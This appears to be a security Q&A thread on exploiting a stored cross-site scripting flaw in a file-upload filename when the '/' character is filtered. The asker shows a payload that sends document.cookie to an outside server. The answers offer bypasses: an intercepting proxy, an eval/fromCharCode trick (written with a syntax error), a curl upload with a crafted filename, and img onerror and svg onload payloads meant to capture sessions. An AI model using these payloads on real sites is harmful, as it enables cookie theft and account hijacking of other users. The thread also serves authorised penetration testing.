Exploiting XSS in filename without using /

Question

I am trying to exploit a vulnerability in the filename field of a file upload. The web application does not properly validate the filename of the uploaded file and as a result there is a stored cross-site scripting vulnerability.

My problem is that whenever I try to rename the file to include something like the below payload, I can't include / in the filename.

document.location='http://my_test_server.com/bla.php?cookie='+document.cookie;

Any ideas/payloads? Is it even possible to exploit this vulnerability?

Answer 1

You should use a packet interception application and edit the sent packet. So you replace the / with let's say an _ in the filename, then intercept the packet and change it back in the header.

Answer 2

You can execute any JavaScript without using / by using a combination of eval and fromCharCode:

let slash = var String.fromCharCode(47);
eval("document.location='http:" + slash + slash + "my_test_server.com" + slash + "bla.php?cookie='+document.cookie;"); 

Answer 3

You can change the filename when uploading with curl:

curl -X POST http://example.com -F "file_input_name=@testfile;filename=document.location='http://example.com'"

However when I tested this with PHP it automatically stripped everything before the last /, presumably assuming that the full path had been sent and converting it to the basename.

Answer 4

Yes,there is payload for that where you don't have to use '/' while making injection.These payload are :

1. <img src=x onerror=alert(123) >
2. <svg onload=alert(123)>

Now, you can insert document.cookie instead of 123 in alert method to get the user session.